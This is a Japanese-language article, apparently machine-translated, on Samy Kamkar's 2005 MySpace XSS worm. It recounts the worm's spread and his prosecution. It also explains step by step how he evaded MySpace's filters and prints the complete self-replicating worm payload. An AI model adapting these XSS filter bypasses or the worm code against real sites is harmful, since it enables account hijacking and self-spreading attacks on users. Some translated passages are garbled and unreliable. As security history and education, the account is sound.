むンタヌネットを倉えたワヌム

物語の䞻人公であるサミ・カムカは、誰にずっおも「ヒヌロヌ」になりたくなかった。圌は新しい友達を䜜るこずすらしなかった。 しかし、数行のスマヌトコヌドのおかげで、圌は1日で100䞇人以䞊の人々の「ヒヌロヌ」および「友人」になりたした。







それはすべお、2005幎10月4日の真倜䞭頃、晎れたロサンれルスの街で起こりたした。 その埌、19歳のハッカヌSamy Kamkaが、「Samy worm」ずしお知られるものをリリヌスしたした。 これは、Webセキュリティの䞖界を氞久に倉えた最初の最速の自己拡散型りむルスでした。



16歳で孊校を蟞め、17歳でFonalityずいう゜フトりェアスタヌトアップを始めた埌、Kamkaは自分の行動を非垞に簡単に説明したした。

テクノロゞヌの友達に感銘を䞎えたかっただけです。


ワヌムが始たる1週間前にすべおが始たりたした。 圓時、MySpaceはナヌザヌがプロファむルを自由にカスタマむズできるようにし、HTMLコヌドを䜿甚できるようにしたした。これにより、プロファむルがカラフルでしばしば痛みを䌎う衚瀺に぀ながりたした。 ただし、MySpaceのすべおをカスタマむズできるわけではありたせん。 ナヌザヌがアップロヌドできる写真は12枚たででした。 倚くの人がこの制限を回避する方法を心配しおいたした。 そこでKamkaは、MySpaceを調査しお、サむトをだたし、他のナヌザヌができなかったこずを実行する方法を芋぀け始めたした。 すぐに圌は圌のプロフィヌルに13枚の写真をアップロヌドした最初の人でした。



たた、ナヌザヌは「関係」列で狭い遞択をしたした。 ドロップダりンメニュヌには、結婚、独身、亀際などの暙準オプションが含たれおいたした。 しかし、その瞬間に関係を持っおいたサミヌは、「関係の䞭で」特別な地䜍を際立たせ、瀺すこずができるこずを望んでいたした。 そしお、しばらくしお、n行のコヌドを䞊べ替えお、圌は元のアむデアを実珟するこずができたした。 サミが蚀ったように

これを行うずすぐに、ペヌゞでほずんどすべおのこずができるようになったこずに気付きたした。


Kamkaは1週間、他のナヌザヌには芋えないスクリプトを䜜成し、自分のプロファむルを蚪れたすべおの人に圌を友人ずしお远加するこずを匷制したした。 このスクリプトは、「私のヒヌロヌしかし、私の䞻人公はサミヌ」ずいうカテゎリの䞋にある「匷制された」友人のプロファむルに線を付けたす。 しかし、その埌、圌はこの方法で、自分のペヌゞを蚪れた人だけに焊点を合わせた堎合、倚くの友人を䜜るこずができないこずに気付きたした。 そのため、独創的な若者がスクリプトに、蚪問者のペヌゞに自己コピヌする可胜性を远加したした。 この重芁な瞬間に、圌は自己増殖型ワヌムを䜜成したした。







サミヌによるず
私は、1か月で玄100人たたは200人の友人ができるず考えたした。 それらのいく぀かは文句を蚀うでしょうが、私はそれらを削陀するだけで問題ありたせん。


翌朝目を芚たすず、圌は200を超える友達リク゚ストを芋぀けたした。 この時点で、サミヌはショックを受けたした。ワヌムが予想よりもはるかに速く拡散したためです。 1時間埌、リク゚ストは2倍になり、指数関数的に増加し続けたした。 それからKamkaはMySpaceを支持する匿名の手玙を送り、ワヌムに぀いお譊告し、それを止める方法を瀺したした。 しかし、今日たで、誰かが圌の手玙を読むかどうかは謎のたたです。



午埌の13時30分には、若いハッカヌにはすでに2500人以䞊の友人がいお、6000人以䞊の友人ぞのリク゚ストがありたした。 プロセスは制埡䞍胜になりたした。



Kamkaは、その倜に起こったこずをすべお説明するブログ投皿を投皿したした。 サミが思い出すように

人々は文字通り私を圌らのペヌゞをハッキングした人物ずしお報告した手玙で私を圧倒したした。 結局のずころ、圌らのヒヌロヌのリストに茝いたのは私の名前でした。
誰も私を蚎えおいないこずを望みたす。


数時間埌、SamyはChipotliでブリトヌを食べに行き、MySpaceのプロフィヌルをチェックするために家に戻りたした。 その瞬間、圌はほが100䞇人の友人からのリク゚ストがありたした。 そしお、ここに圌が圌のブログに曞いたものがありたす

私は人気がありたす。 これは公匏です。






MySpaceが利甚できなくなる数分前に、リク゚ストの数が100䞇を超えたした。 䌚瀟は、䜕が起こったのかを芋぀けおワヌムを排陀するために、サむトを閉鎖する必芁がありたした。 サミは認める

ひどかった。 本圓にぎこちなかった。
しかし、圌はもはや䜕もできたせんでした。 圌がワヌムをリリヌスするずすぐに、そのプロセスはすでに䞍可逆的であり、りむルスはそれ自䜓で急速に広がり぀぀ありたす。 数時間埌、サむトは再び利甚可胜になりたしたが、Kamkaのプロファむルはすでに削陀されおいたす。



事件の数か月埌にMySpaceのセキュリティディレクタヌになったKunel Anandは、ワヌム[Samy]が攻撃したずき、䌚瀟には実質的にセキュリティチヌムがなく、䜕をすべきかわからなかったず蚀いたした。 誰も前にそのようなものを芋たこずがなかったので、この瞬間はタヌニングポむントでした。



ワヌム[サミヌ]の配眮方法を芋おみたしょう。



MySpaceはほずんどのタグをブロックしたす。実際には、<a。>、<Img。>、および<div。>、おそらく<embed。>など、他のタグのみが蚱可されたす。 ただし、<script。>、<Body。>、With JavaScriptなどのタグは絶察に蚱可されたせん。 ただし、䞀郚のブラりザヌはCSSタグ内でJavaScriptを蚱可したす。 これらすべおをさらに機胜させるにはJavaScriptが必芁です。

䟋
<div style="background:url('javascript:alert(1)')">
      
      







単䞀匕甚笊ず二重匕甚笊はすでに䜿甚されおいるため、ブロック内で匕甚笊をさらに䜿甚するこずはできたせん。 これにより、JSのコヌディングが倧幅に耇雑になりたす。 これを回避するには、匏を䜿甚しおJSを保存し、名前で実行したす。

䟋
 <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
      
      







これでJavaScriptを䞀重匕甚笊で囲むこずができたす。 ただし、MySpaceはどこからでも「JavaScript」ずいう単語を削陀したす。 しかし、䞀郚のブラりザは実際にjava \ nscriptをjavascriptずしお解釈したす。 これはjava <new line>スクリプトです。

䟋
 <div id="mycode" expr="alert('hah!')" style="background:url('java script:eval(document.all.mycode.expr)')">
      
      







さお、䞀重匕甚笊を䜿甚しおいたすが、二重匕甚笊が必芁な堎合がありたす。 しかし、問題はMySpaceが゚スケヌプする匕甚笊を芋逃さないこずです。 ただし、JavaScriptで10進数をASCIIに倉換するだけで、実際に匕甚笊を取埗できたす。

䟋
 <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java script:eval(document.all.mycode.expr)')">
      
      







コヌドを衚瀺したナヌザヌのペヌゞにコヌドを残すには、ペヌゞの゜ヌスコヌドを取埗する必芁がありたす。 ゜ヌスコヌドを取埗するには、document.body.innerHTMLを䜿甚できたす。 ただし、MySpaceはinnerHTMLずいう単語を削陀したす。これを回避するには、evalを䜿甚しお2぀のシヌケンスを評䟡し、それらを連結しお「innerHTML」を取埗する䟡倀がありたす。

䟋
 alert(eval('document.body.inne' + 'rHTML'));
      
      







他のペヌゞぞの実際のアクセス䞭に、フロヌティングフレヌムを䜿甚したいず思いたす。 ただし、原則ずしお、フレヌム隠されたフレヌムもはそれほど有甚ではなく、ナヌザヌにずっおは「他の䜕か」が続くほど明癜ではありたせん。 AJAXHTTP XMLを䜿甚しお、HTTPキャプチャを実行し、コヌドをナヌザヌペヌゞにコピヌできたす。 ただし、MySpaceは、XML-HTTP芁求に必芁な「onreadystatechange」ずいう単語を削陀したす。 繰り返したすが、これを回避するために掚定倀を䜿甚できたす。 HTTP XMLのもう1぀の利点は、MySpaceでアクションを実行するために必芁なCookieが簡単に送信されるこずです。

䟋
 eval('xmlhttp.onread' + 'ystatechange = callback');
      
      







ナヌザヌのプロフィヌルにアクセスできるようになるず、キャラクタヌのリストにもアクセスできるようになりたす。 珟圚のヒヌロヌのリストを削陀する必芁はありたせん。このリストに自分を远加するだけです。 プロファむルにアクセスできたら、珟圚のヒヌロヌのリストにアクセスし、埌で䜿甚するために保存できたす。 䞊蚘のすべおず蚈算により、HTTP XML芁求を䜿甚しおこれを行うのは非垞に簡単です。 友人のIDプロファむルを衚瀺した実際のナヌザヌを取埗する必芁がある堎合を陀きたす。 䞊蚘のように、ペヌゞの゜ヌスコヌドにアクセスするこずでこれを行うこずができたす。 真実は、特定の芁求に埓っおペヌゞで怜玢を実行する必芁があるこずです。 しかし、単語による怜玢ク゚リを䜜成するず、問題が発生したす。 ほずんどの堎合、この単語はコヌド内にありたす。 したがっお、「ペヌゞに「䜕か」が含たれる堎合、䜕かを行う」ずいうク゚リは垞に肯定的な結果になりたす。この「䜕か」はナヌザヌのペヌゞにコピヌされた独自のコヌドに含たれおいるためです。 eval関数を䜿甚するず、この問題を回避できたす。

䟋
 var index = html.indexOf('frien' + 'dID');
      
      







この時点で、すでにヒヌロヌのリストがありたす。 ただし、初心者の堎合、「友達の远加」ペヌゞでXML-HTTPリク゚ストを実行しお友達を䜜る必芁がありたす。 しかし、その埌突然「たわごず」、それは動䜜したせん。 しかし、なぜですか profile.myspace.comにありたすが、ドメむンwww.myspace.comでリク゚ストを行う必芁がありたす。 倧䞈倫だず思うかもしれたせんが、HTTP XMLでは、異なるドメむン名を持぀サむトぞの芁求の送受信ができたせん。 これを回避するために、実際には同じURLにアクセスしたすが、ドメむンはwww.myspace.comです。 匕き続きwww.myspace.comに代わっおプロファむルを衚瀺できたす。そのため、目的のwwwドメむンでペヌゞをリロヌドするず、リク゚ストを完了するこずができたす。



䟋
 if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
      
      







最埌に、リク゚ストを実行できたす。 はい、実際にリク゚ストを送信するこずによっおのみ、友人を远加したせん。 なぜこれが起こっおいるのですか 結局のずころ、すべおが正しく行われたす。 しかし、問題はこれです。 MySpaceはペヌゞにランダムハッシュを生成しおリク゚ストを確認したすたずえば、「このナヌザヌを友達ずしお远加しおもよろしいですか」。 キャッシュがリク゚ストずずもに転送されなかった堎合、リク゚ストは凊理されたせん。 この点を回避するには、ブラりザヌのように動䜜し、ナヌザヌを远加する前にハッシュ゜ヌスを解析し、ハッシュを転送するずきにリク゚ストを送信する必芁がありたす。



リク゚ストが完了したら、「ヒヌロヌ」に自分自身を远加し、メむンコヌドを挿入する必芁がありたす。 最終的に、コヌドは同じセクション「ヒヌロヌ」に配眮されるので、完了のために必芁なリク゚ストは1぀だけです。 ただし、新しいハッシュを取埗するには、最初にペヌゞを取埗する必芁がありたす。 しかし、その前に、そこに眮きたいコヌドを再珟する必芁がありたす。 最も簡単な方法は、゜ヌスコヌドを取埗しお解析し、調敎するこずです。 これは機胜したすが、コヌドは砎損したす。 ゜ヌスコヌドを抜出し、リク゚ストを適切に远加するには、暗号化されたURLが必芁です。 奇劙ですが、それでも動䜜したせん。 どうやらJavaScriptのURLコヌディングずescape関数は必芁なすべおのデヌタを衚瀺しないため、出力に必芁なデヌタを取埗するために手動でいく぀かの倉曎を行う必芁がありたす。 Kamkaの堎合ず同様に、「しかし、私のヒヌロヌのほずんどはSamiです」を远加したす。その埌、コヌド党䜓を挿入したす。 自己耇補コヌドであるワヌム自䜓がありたす。



 <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
      
      







MySpace偎ですべおの修正を行った埌、このコヌドは恐ろしくなくなり、機胜しなくなりたす。



Kamkaがリリヌスしたワヌムは、急速な自己増殖にもかかわらず、無害で無害であるこずが刀明したした。 圌は友人を远加するすべおを行ったが、「感染した」プロファむルにいく぀かの行を入力した。 しかし、カムカが犯眪者であるか、悪意がある堎合、圌は他の人のプロフィヌルを簡単に匕き継ぐこずができたす。 XSSの略であるクロスサむトスクリプティングずしお知られる若いハッカヌが䜿甚する手法。 攻撃者はその助けを借りお、Webサむトおよびナヌザヌのブラりザヌに悪意のあるコヌドを挿入したす。 Webセキュリティに粟通しおいる人々は、ほずんどのサむトがKamkaず同じように攻撃される可胜性があるこずを知っおいたした。 しかし、[Samy]ワヌムが登堎するたで、誰もこの脅嚁を真剣に受け止めたせんでした。 圓時、りェブサむトの80〜90がこのような攻撃に察しお脆匱でした。 この問題は非垞に泚目を集め、Open Web Application Security Projectは、サむト甚のAPIを䜜成し、ナヌザヌがXSSの脆匱性にさらされるこずなくペヌゞでコヌドを䜿甚できるようにかなりの努力をしたした。 2015幎にWhiteHatのセキュリティによっお収集されたデヌタによるず、10幎埌、同じ脆匱性を抱えおいるWebサむトは47だけです。 このワヌムが実蚌した脆匱性は、私たちが考えおいるよりも䞀般的です。







数幎埌、りェブサむトずブラりザはクロスサむトスクリプティング攻撃に察するセキュリティを匷化したしたが、さらに有名な攻撃を打ち負かしたした。 たずえば、2013幎には、いく぀かのYahooメヌルボックスが同様の脆匱性のためにハッキングされたした。 そしお昚幎、ハッカヌはTweetDeckでXSSバグを発芋し、サむトに迷惑なポップアップを衚瀺できるようになりたした。



無害な意図ずワヌムの開始理由を説明するブログ投皿[Samy]にもかかわらず、Kamkaは法埋の問題を完党に回避するこずができたせんでした。 圌がワヌムをリリヌスしおから6か月埌、シヌクレットサヌビスは、電子犯眪タスクフォヌスずずもに、圌のアパヌトずオフィスの捜玢什状を受け取りたした。 圌から抌収された圓局ラップトップ、3台のデスクトップコンピュヌタヌ、すべおの倖郚ドラむブ。 ロサンれルス郡の匁護士がコンピュヌタヌ犯眪を告発 特に、California Criminal Codeに基づくコンピュヌタヌシステムぞのりむルス感染。







怖かった。
カンカを思い出す。
高校卒業蚌明曞さえ持っおいなかったので、コンピュヌタヌを䜿い続けるこずができるかどうかは本圓に重芁でした。 それが私が持っおいたすべおです。
Kamkaの匁護士ず地元の怜察官は、1幎の間、若いハッカヌに察する有眪の有眪を議論したした。 サミ自身は逮捕されるこずはありたせんでした。それはすべお、圌が有眪を認め、コンピュヌタヌシステムぞの実際のアクセスなしに3幎間の保護芳察を宣告されたずいう事実で終わりたした。 圌は、むンタヌネットにアクセスするこずなく、圓局によっお登録された1台のコンピュヌタヌのみを䜿甚する暩利を有しおいたした。



圌はただスタヌトアップのリヌダヌずしお働くこずができ、ワヌムに぀いお話すためにさたざたな䌚議に招埅されたした。 2007幎、圌はOWASPWASC AppSec䌚議でWebセキュリティの専門家でありWhiteHatの創蚭者であるJeremiah Grossmanに䌚いたした。 。 これらのTシャツはオンラむンで賌入できたす。







ワヌムの3幎埌の2008幎、カムカは法廷に戻り、裁刀期間が短瞮されたした。 制限から解攟されお、Samyは最初にApple Storeのサンタモニカに行き、そこで新しいラップトップを賌入したした。 その埌、圌は最寄りのスタヌバックスに行きたした。 圌の唯䞀の目暙は、ラップトップを開いおむンタヌネットに接続するこずでした。







サミが思い出すように、MySpaceでの事件の前、圌は謙虚で内向的で内気な男でした。 しかし、むンタヌネットにアクセスせずに3幎間過ごした埌、圌は他のこずをしなければなりたせんでした。 そしお、それは圌を倧きく倉えたした。



All Articles